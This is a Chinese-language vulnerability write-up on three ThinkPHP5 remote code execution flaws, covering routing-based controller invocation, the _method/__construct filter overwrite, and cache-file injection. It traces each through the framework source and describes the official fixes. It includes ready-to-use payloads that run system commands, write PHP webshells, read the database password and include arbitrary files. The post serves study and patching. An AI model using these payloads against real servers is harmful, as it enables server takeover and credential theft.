ThinkPHP5 RCE漏洞总结

Scroll Down

前言

前几天把TP5的SQL注入漏洞总结跟踪了一遍,今儿把TP5系列的RCE漏洞再跟踪总结一下,方便以后自查备用,也学习一下TP5框架下的一些不安全过滤以及挖掘RCE漏洞的方法。

未开启强制路由导致RCE

该版本漏洞由于默认情况下未开启强制路由(url_route_must)以及开启兼容模式(var_pathinfo'=>'s'),我们可以通过TP的路由方式?s=index/[任意控制器]/[控制器任意操作(函数)]来调用控制器(类)的操作(函数),且由于在解析URL以及获取控制器的过程中(routeCheck、check、checkRoute、parseURL),对控制器没有进行合法性检测和过滤,导致可以调用任意控制器(类)的任意操作(函数),从而调用到一些具有敏感函数如call_user_func(_array)?evalfile_put_contents...的控制器类的方法

调试的话建议从框架加载的App:run()开始跟踪,然后一步步分析。

影响

  • 5.0.7 <= ThinkPHP5 <= 5.0.22
  • 5.1.0 <= ThinkPHP <= 5.1.30

在5.0.7版本以下,解析控制器路径的时候会拼接app\index\controller\,因此限定控制器必须为application\index\controller目录下的控制器,因此不存在漏洞。

5.0.22以上的版本,增加了过滤,见修复

payload

TP5.0.xTP5.1.x部分payload可能不同,因为两个版本的控制器类可能有所不同,但是payload形式一致,具体的控制器类危险方法的调用具体分析、挖掘。注意,window下路径模式严格区分大小写,而在加载相应的控制器文件时会将控制器转为小写并拼接.php来包含加载,因此在window下部分payload受限,如果要测试的话,需要将\think\Loader::autoload方法中的这段注释掉.

// Win环境严格区分大小写

if (IS_WIN && pathinfo($file, PATHINFO_FILENAME) != pathinfo(realpath($file), PATHINFO_FILENAME)) {
    return false;
}

形式

?s=index/[控制器类]/[类方法]&[参数1]=xxx&[参数2]=xxx

注意这里的参数名需要和类方法定义的参数名一致,否则无法执行。因为底层获取方法参数用的是php的反射来获取的。具体可以调试看看。

payload汇总

注意部分payload的控制器类在x版本可能没有。就不写这么仔细了。寻找任意类的任意方法时有以下限制条件

  • 任意控制类的构造方法必须是public,否则在反射获取控制类时$reflect->newInstanceArgs($args);会报错non-public,比如在5.0.8版本的\think\Request,其构造方法为protected,无法利用
  • 所调用的任意方法必须是public修饰的,否则报错找不到方法

5.0.x

  • RCE
# call_user_func
?s=index/\think\Request/input&filter[]=system&data=calc
    
# eval
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
    
# 反射 ReflectionFunction($function)->invokeArgs($args)   
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
    
# 反射 ReflectionFunction($function)->invokeArgs($args) 
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
  • Webshell
# file_put_contents
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
  • 其他
# 获取配置信息
?s=index/think\config/get&name=database.password  # 数据库密码data.xxx
?s=index/think\config/get&name=log.path # 日志文件 

# 包含任意文件
?s=index/\think\Lang/load&file=../../test.jpg
    
# 包含任意.php文件
?s=index/\think\Config/load&file=../../t.php     

可能还有其他的Sink甚至配合组合拳,可以自行寻找,可以考虑任意文件读写、RCE、eval、反序列化、文件包含等。

5.1.x

  • RCE
# call_user_func
?s=index/\think\Request/input&filter[]=system&data=calc

# eval
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

# 反射 ReflectionFunction($function)->invokeArgs($args)
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

# 反射 ReflectionFunction($function)->invokeArgs($args)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
  • webshell
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

漏洞分析

以这个payload为例,针对5.0.x版本的调用过程进行分析,至于5.1.x的分析,触发的逻辑在Module::exec,跟一下即可

?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

我们从最开始的App::run来看,分析其解析URL中控制器到反射调用到任意控制器类的任意方法的整个流程。

断点打在thinkphp/start.phpApp::run(),对于Class::Method()这种形式,TP会经过一系列的自动类加载过程,然后调用到App类的run方法,在run方法中,一开始对app的整个请求配置进行初始化,然后调用$dispatch = self::routeCheck($request, $config);来检测路由

image-20210524181644604

跟进看一下,处理$path(URL的s字段值)和$request后,继续调用$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);来检测路由

image-20210524181912028

image-20210524182006796

继续处理$path,将其用|分割为模块(application下的index)、控制器、操作三个部分,并赋值给$url,然后进一步调用self::checkRoute($request, $rules, $url, $depr);进行检测

image-20210524182232617

self::checkRoute将返回false,然后再返回到routeCheck方法中赋值给$result,当result为false时,会进行解析模块/控制器/操作/参数...的解析

image-20210524190518751

parseUrl方法为真正解析URL的方法,其分别解析模块、控制器、操作、参数,并封装给$route变量,最后返回

image-20210524190807261

image-20210524190821045

然后结果会返回到run函数中,并赋值给$dispatch进行不同type的任务调度

image-20210524191024417

进入App:module方法,进行模块初始化操作(这里是index模块),同时获取并设置控制器、操作。然后进入Loader::controller方法

image-20210524191305871

在该方法中,会使用class_exists()判断调用的控制器类是否存在,其实就是经过一次findFileautoload的动态加载类过程。如果存在的话,则返回true,然后进入if,进入到App::invokeClass($class);方法

image-20210524191546406

invokeClass方法中,反射创建控制器类的实例对象,然后调用getConstructor()方法获取构造函数,当构造函数存在时,则调用self::bindParams($constructor, $vars);来获取构造函数的参数。最后调用$reflect->newInstanceArgs($args);来生成控制器类的实例对象,若控制器的构造函数为非public,则调用该方法会报错

image-20210524192100685

生成的控制器类的实例对象返回到module方法赋值给$instance,然后以[$instance, $action]的形式来作为函数调用

image-20210524192344075

然后进入到self::invokeMethod($call, $vars);方法中,该方法用来处理最后控制器方法的调用

image-20210524192706957

还是一样,调用self::bindParams来获取控制器方法的同名参数(注意参数要和定义的同名),最后调用$reflect->invokeArgs(),这样就进入到了控制器类的方法了,也就是我们这里的\think\view\driver\Php::display

image-20210524192759891

至此,所有的分析也就结束了,主要原因还是在解析URL(parseUrl或其他方法)的时候没有对模板/控制器/操作这种模式的URL中的控制器进行过滤或限制,从而导致任意调用。

修复

官方修复是在5.0.22和5.1.30之后,在\think\App::module方法中增加了对控制器类的过滤

$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

method任意调用方法导致RCE

这种类型的漏洞触发点在filterValue,触发前通过Request::method方法存在危险写法$this->{$this->method}($_POST)导致调用到Request类中的任意方法,从而调用能够覆盖类属性的方法,进而在filterValue中实现参数可控,最后由call_user_func触发RCE。

影响

  • 5.0.0 <= ThinkPHP5 <= 5.0.24
  • 5.1.0 <= ThinkPHP5 <= 5.1.13

payload

(1)
# 5.0.0  <= v <= 5.0.12 无需开启debug
# 5.0.13 <= v <= 5.0.24 && 5.1.0 <= v <= 5.1.7 需要开启debug
?s=index/index 
POST:
s=calc&_method=__construct&&filter[]=system
    
_method=__construct&filter[]=system&method=get&get[]=calc 
    
c=system&f=calc&_method=filter

s=file_put_contents('shell.php','<?php phpinfo();')&_method=__construct&filter[]=assert # 写shell

(2)
# 5.0.13 <= v <= 5.0.24 captcha路由存在时,无需开启debug
# 5.1.0  <= v <= 5.1.13
?s=captcha/cmd # cmd可写可不写,写的话post再写则触发多次
POST:同上
  
(3)
# 5.0.21 <= v <= 5.0.24
?s=index/index 
POST:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

分析

首先我们先提前说一下开启debug和不开启debug在代码执行流程上的区别

image-20210525190205894

开启debug时,self::$debugtrue,就会进入上述的if分支,然后执行$request->param(),这里是触发RCE的一条路。

不开启debug时,那么就不会进入该分支,而只会执行self::exec(),这是触发RCE的另一条路,并且这条路在不同的版本存在限制,但是可以借助其他路由如captcha来绕过。

默认情况下,开启debug,无条件RCE。而未开启debug,需要根据版本以及是否具有可用的路由来绕过从而RCE

开启debug

版本5.0.8,使用这个payload带入去分析s=calc&_method=__construct&method=POST&filter[]=system

这里先在App::run方法中下几个断点,发现在执行到Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');语句时会触发RCE,因此我们跟进$request->param()方法看一下,然后会经过如下调用栈

image-20210525191053399

最后在Request::filterValue()方法中触发RCE。我们需要特别关注一下该方法,在Request类中,param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法。

现在我们需要回溯一下参数,看是否可控,根据array_wark_recusive函数的用法,$data若是数组,则其键值对对应filterValue函数的参数$key,$value,而$filters则为array_walk_recursive的第三个参数$filter,且$filter会经过foreach取值出来调用到call_user_func($filter, $value)

因此我们需要让$filter为一个数组,该数组有一个值为system,让$data也为一个数组,该数组有一个值为calc。对应着也就是payload中的s=calc&filter[]=system

具体来看一下这些值是怎么赋值或者覆盖上去的。

跟踪可以发现,$filter值来自于$this->filter,而$data的值来自于$this->param。这两个变量都是类成员属性(关键!)

$this->filter的值在进入param方法时就已经有值了,而$this->param是在$this->param = array_merge($this->get(false), $vars, $this->route(false));语句中赋值的

image-20210525193021959

调试可知,$this->filter经过如下调用栈到method方法

image-20210525193217607

image-20210525193312272

由于$method为false,且$_POST[Config::get('var_method')]默认为$_POST['_mmethod'],而我们POST传入了_method=__CONSTRUCT,所以进入到该分支,该分支存在一个危险的写法

$this->{$this->method}($_POST);

从而导致调用任意Request类的任意方法,且参数完全可控。因此我们可以全局$this->filter在当前页面找一下,发现

__constructfilter方法存在对$this->filter的赋值操作

  • __construct方法
protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            //任意类属性覆盖
            $this->$name = $item; 
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }
    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

property_exists满足的合法属性有

protected $get                  protected static $instance;
protected $post                 protected $method;
protected $request              protected $domain;
protected $route                protected $url;
protected $put;                 protected $baseUrl;
protected $session              protected $baseFile;
protected $file                 protected $root;
protected $cookie               protected $pathinfo;
protected $server               protected $path;
protected $header               protected $routeInfo 
protected $mimeType             protected $env;
protected $content;             protected $dispatch 
protected $filter;              protected $module;
protected static $hook          protected $controller;
protected $bind                 protected $action;
protected $input;               protected $langset;
protected $cache;               protected $param   
protected $isCheckCache;

所以我们能够轻易覆盖任何类属性,包括这里的$this->filter

  • filter方法:该方法只能覆盖$this->filter
public function filter($filter = null)
{
    if (is_null($filter)) {
        return $this->filter;
    } else {
        $this->filter = $filter;
    }
}

这里也就对应的payload

c=system&f=calc&_method=filter

而对于$this-param的处理,就是将GET和POST方法从属性值对转为数组的键值对赋值给$this->param。因此,我们只需在POST方法中设置任意键名的键值对s=calc,即可在循环解析$data中触发RCE

不开启debug

上面分析了开启debug情况下的RCE,在进入第一个Request::param时即可触发,但是实际上,会发现RCE触发了两次,也就是说,在后面还会有一次RCE的触发,前面也说到了是在self::exec($dispatch, $config);中触发,因此在某些版本中不依赖于debug模式。在5.0.13版本中,稍有修改,无法直接触发RCE,但是可以利用官方增加的验证码路由来RCE,该路由需要添加依赖"topthink/think-captcha": "^1.0"

版本:TP<=5.0.12

其实也很简单,直接贴一下调用栈,细节再解释。

image-20210525200646973

可以看到两个case分支都直接调用了Request::instance()->param(),而module这个case,经过如下调用栈也会调用到param方法

image-20210525200746518

版本:TP>=5.0.13

会发现payload打不了。原因是在module的分支下,新增了一条清空$this->filter的语句,在App.php的554行

$request->filter($config['default_filter']);

这样我们前面经过self::routeCheck的调用栈覆盖的类属性$this->filter就被置为空了,因此就无法RCE

这里绕过的方式是,想办法进入其他的case,如controller或者method这两个case,而case又跟参数$dispatch['type']有关,回溯一下可以发现。经过如下调用栈,在parseRule方法中可以确定路由的类型

image-20210525204657952

image-20210525205220429

这样看还是没办法看出来,需要自己跟一跟

从宏观的角度,TP的几种路由类型如下,摘自@七月火师傅文章

image-20210525203411030

所以这里的?s=captcha属于路由到方法。因此我们就可以进入method的分支从而绕过$this->filter的清空了。

修复

TP5.0.24版本之后,官方在$this->{$this->method}($_POST)这个调用前增加了白名单校验,防止了调用Request类的任意方法来对类变量进行覆盖。

image-20210525212115146

而在更新的TP5.1.x版本中,代码有大部分重构,在Request::Method方法中,虽然$this->{$this->method}($_POST)前没有白名单校验,但是删去了__construct中的任意类变量覆盖,从而$this->method的值无法控制,在这之前的版本,$this->method的值并不会影响RCE,但是该版本之后,在RuleGroup::getMethodRules方法中,由于$this->rules[$method]$this->rules的值默认以下,因此$this->rules[$this->method]不存在,导致报错。目前还没找到可以覆盖$this->method$this->rules的调用链。

image-20210525215059192

缓存类RCE

本次漏洞存在于 ThinkPHP 的缓存类中。该类会将序列化化后的数据直接拼接并存储在 .php 文件中, 如果存在一个缓存页面,其数据用户可控,即可将 webshell 写入缓存文件。当得知默认缓存目录以及缓存名称时可以计算出缓存文件路径,一旦缓存目录可访问或结合任意文件包含漏洞,即可getshell。漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10

影响

  • 5.0.0<=ThinkPHP5<=5.0.10

payload

?username=test%0d%0a@eval($_REQUEST[diggid]);//

image-20210524211408516

image-20210524214720637

漏洞分析

在application/index/controller/Index.php写入如下漏洞页面。

<?php
namespace app\index\controller;
use think\Cache;
class Index
{
    public function index()
    {
        Cache::set("name",input("get.username")); // get.xxx <=> ?xxx=
        return 'Cache success';
    }
}

根据我们所写的漏洞测试页面,直接跟进到Cache::set方法。该方法中,使用单例模式self::init();初始化一个缓存驱动,跟进看一下

image-20210524212210587

获取到的缓存信息如下,默认获取的缓存驱动是\think\cache\driver\File,由 cache 的配置项 type 决定,默认情况下其值为 File 。可以在下图中得知其他类型的缓存驱动

image-20210524211941185

image-20210524211717610

初始化File缓存驱动对象后,调用该类的set方法,该方法中,序列化了我们传入的$data数据,并进行拼接,尽管前面的拼接使用了//注释,但我们可以使用%0d%0a换行绕过,而后的垃圾字符再用注释绕过即可。对于序列化后的数据$data,由于$this->options['data_compress']默认为false,因此不会被gzcompress,然后写入缓存文件中。

image-20210524212728174

image-20210524213002012

现在回溯来看一下$filename缓存文件名的处理过程。定位到$filename = $this->getCacheKey($name);,这里的$name是我们在漏洞页面设置的缓存名Cache::set("name",xxx),即name。可以看到,先对name计算md5,然后由于默认开启$this->options['cache_substr'],于是截取md5("name")的前两个字符即b0作为子目录名,父目录为$this->options['path']默认设置的运行时目录\runtime\cache,剩下的部分拼接.php作为参数名,因此最后得到的缓存文件路径为

\runtime\cache\b0\68931cc450442b63f5b3d276ea4297.php

image-20210524213426977

当我们得知Cache::set("name",xxx)设置的缓存名,以及$this->options['path']设置的缓存目录后,可以轻松的得到我们写入的webshell的路径,配合文件包含或可直接访问的话即可getshell

修复

$data序列化数据拼接在exit();之后。

image-20210524214149769

参考

https://y4er.com/post/thinkphp5-rce/

https://mochazz.github.io/2019/04/08/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C9/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

https://mochazz.github.io/2019/05/31/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C8/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

https://mochazz.github.io/2019/04/09/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C10/#%E6%BC%8F%E6%B4%9E%E6%A6%82%E8%A6%81

https://xz.aliyun.com/t/7792#toc-0